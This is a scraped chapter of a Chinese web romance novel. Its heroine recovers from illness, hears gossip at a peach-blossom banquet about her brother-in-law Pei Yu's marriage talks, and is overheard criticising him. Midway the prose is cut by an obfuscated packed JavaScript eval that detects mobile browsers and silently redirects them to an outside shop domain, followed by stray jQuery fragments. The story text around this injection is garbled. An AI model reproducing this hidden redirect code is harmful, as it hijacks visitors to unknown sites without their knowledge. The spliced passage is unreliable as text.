文趣网 > 其他小说 > 被清冷大伯哥缠上后 > 15. 说坏话
    崔静月养病的这几日,裴锦一下值便盯着她喝药,往往喝过一碗,过了片刻,便又端来一碗。

    崔静月瘪瘪嘴,望向那黑乎乎的药汁,皱了皱鼻:“方才不是已喝过了么,怎么又喝?”

    裴锦道:“方才是风寒的药,如今这个,是调理身子的。”

    哦,是那方助孕的药。

    崔静月垂眼,将药汤一饮而尽,想是这几日两种汤药混着喝的缘故,她觉得今日这药倒也没从前那么苦。

    夜里,两人依偎在一处。

    她身子轻,于裴锦而言甚是娇小,裴锦便揽上她的腰与腿,将人抱坐在自己怀里。

    他轻轻抚着她乌黑的发,过了片刻,终于开口:“你身子弱,往后干脆就不出去了,好不好?”

    崔静月心口一跳,心知这想法他恐怕憋了好久,直至今日方才吐露。

    她仰头望着他,娇声道:“为何不出去,你舍得一直将我关在这庭院里么?四四方方的,好生无趣。与其安安生生不出门,我倒宁愿出去玩一遭便病一场,也好过闷在这里不见天日。”

    “说什么胡话?”裴锦在她腰上重重揉了一把,忙替她呸了三声,又朝空中道:“内子失言,方才无状,破此凶谶、破此凶谶。”

    他这样子好傻,崔静月埋在他怀里,娇笑个不停。

    她笑,裴锦也高兴,只是喜悦中总藏着些不安。

    长兄曾向他保证过,他对皎皎无意,也绝不会干扰他与她之间的生活。

    长兄让他好好与皎皎过日子,最好早些生个孩子。

    可自皎皎落水后,府中便再未见过长兄身影。

    他去问母亲,母亲只说长兄才被授予礼部侍郎一职,政务繁忙,这几日便索性宿在官署。

    然而,他今日与出自韦氏的同僚闲谈,方知原来城郊河畔那日,长兄也去了,正与韦氏女郎一道踏青。

    后来韦氏女郎与皎皎落了水,恰被同样去游玩的裴芝救下。

    那长兄呢?本也该在场的长兄又在何处?

    这些不安,他无法与人言说。

    **

    二月十四,裴府办了场赏花宴。

    崔静月被按在房中调养了半个多月,身子已然大好,便也出门去凑了这场热闹。

    桃园中,千枝万蕊层层叠叠,浅粉与柔白交相辉映,如云霞覆树,又似绯烟凝枝。

    东风拂过,便有簌簌声响起,而后香云落了满地,落英缤纷,香气萦绕,让人如临仙境。

    受邀而来的苏寻茵匆匆望一眼桃林,被这仙境震慑片刻便很快回神,立即去僻静处寻了崔静月。

    她将她上上下下打量一番,又亲手给她搭了脉,这才彻底放心。

    “那日你落水,等我跨过桥跑过来时,就见你白着脸躺在十三娘子怀里,可真是吓坏我了。”

    崔静月大病初愈,身子仍旧畏寒,三月的天气里还裹着披风,见她担忧得眼睛都要红了,便低声安慰几句。

    等苏寻茵终于被她哄好,崔静月便朝她身后望了望,问:“杳杳又没来?”

    苏寻茵随手折了枝桃花,拿在鼻间轻嗅,道:“她家里给她说了亲事,她不愿意,又逃出去了,还让我同你说声勿念,待过几日风头过去了她便回京。”

    那花儿闻着清雅,苏寻茵便将其凑在崔静月鼻间,让她也闻闻。

    崔静月轻嗅一口,淡雅香气盈满胸腔,笑着道:“咱们当日初见,她就在逃婚的路上,不曾想三年过去了竟还是如此。那你呢?家里难道没催你?”

    “催了呀。”苏寻茵又折了几枝桃花捧在手里,笑意盈盈道:“可我有长兄护着,长兄疼我,他跟嫂嫂都说能养我一辈子呢,不嫁人也没什么。”

    崔静月望着她穿梭于桃林中的身影。

    等苏寻茵捧了满怀的花回来,便发觉她在出神。

    她捧着花在她眼前晃了晃,问:“想什么呢?”

    崔静月回神,从她手里分了几枝,弯唇道:“只是也想起了我的长兄。”

    三年前,苏寻茵还在江南,尚未入京,便也没见过当年崔氏的那位大郎君。

    倒是后来入京时曾听过身旁人惋惜,那也是个天纵奇才的少年,只可惜最后落入河中,尸骨无存。

    怕她因旧事伤怀,苏寻茵便望一眼于桃林中言笑晏晏的各家女郎,低声同她咬耳朵:“你可知你们裴氏老夫人为何要办这么场赏花宴?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673572|207082||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>崔静月这些时日都在养病,府中只有裴芝一人时来探望,每每送来许多名贵补品,也不多说便又离开,是以,她对院外的事还真不清楚。

    苏寻茵恨铁不成钢地看她一眼:“你们裴氏自己的事你都不清楚,难道还要我一个外人跟你嚼舌根?”

    “谁说你是外人了?”崔静月笑嘻嘻挽上她小臂,讨好道:“你可是长安城的‘万事通’,快同我说说究竟为何?”

    苏寻茵道:“这事啊,还是逃不开你们那位裴大郎君。”

    崔静月笑意微敛。

    苏寻茵并未发觉,仍在兀自分享见闻:“听说裴氏后来没再与韦氏继续相看,京中人都传是裴钰没看上韦嘉,当然也有人说是韦嘉没看上他。”

    “总之,两家如今都在各自相看,今日这场花宴,显然就是老夫人在给她这位长孙寻觅能看得上眼的女郎咯。”

    其实不仅如此,听闻御史台的人近几日还参了韦嘉的几位叔伯兄长,说他们侵占良田,强抢民女,大理寺查实后还抓了好多韦家人入狱。

    她还没来得及说这句,便已发觉崔静月又在出神。

    轻风拂过,女郎鬓边发丝清扬,怀中花瓣轻颤,她一身粉白裙衫,偏还抱着几枝粉白色的桃花,活脱脱一个修炼成身的桃花精。

    只是那皎若秋月的一张美人面上,又显露出些许惆怅。

    崔静月望着怀中的花,这才知晓原来那位可怜的女郎名唤韦嘉。

    可那日裴钰不是下水救了她么?为何后来却没继续议亲?

    她从前还觉得她比自己幸运,有一个足以让她为所欲为的家世,却不想,两人都是如此结局。

    她替当年的自己不忿,亦替韦嘉不值,因身旁只有一个苏寻茵,便下意识开了口:

    “那裴钰还真是挑剔。”

    话音坠地方觉失言,此处毕竟是裴氏地界,裴钰手眼通天,谁知此处会不会留有眼线?

    待她懊悔抬眸,便见苏寻茵扯住她的袖口,一面抿紧了唇示意她噤声,一面眼神飘忽地提醒她往后看。

    崔静月忽而背后发凉,等一回头,隔着层叠花枝对上那道清寒目光时,心跳都停了片刻。

    是裴钰。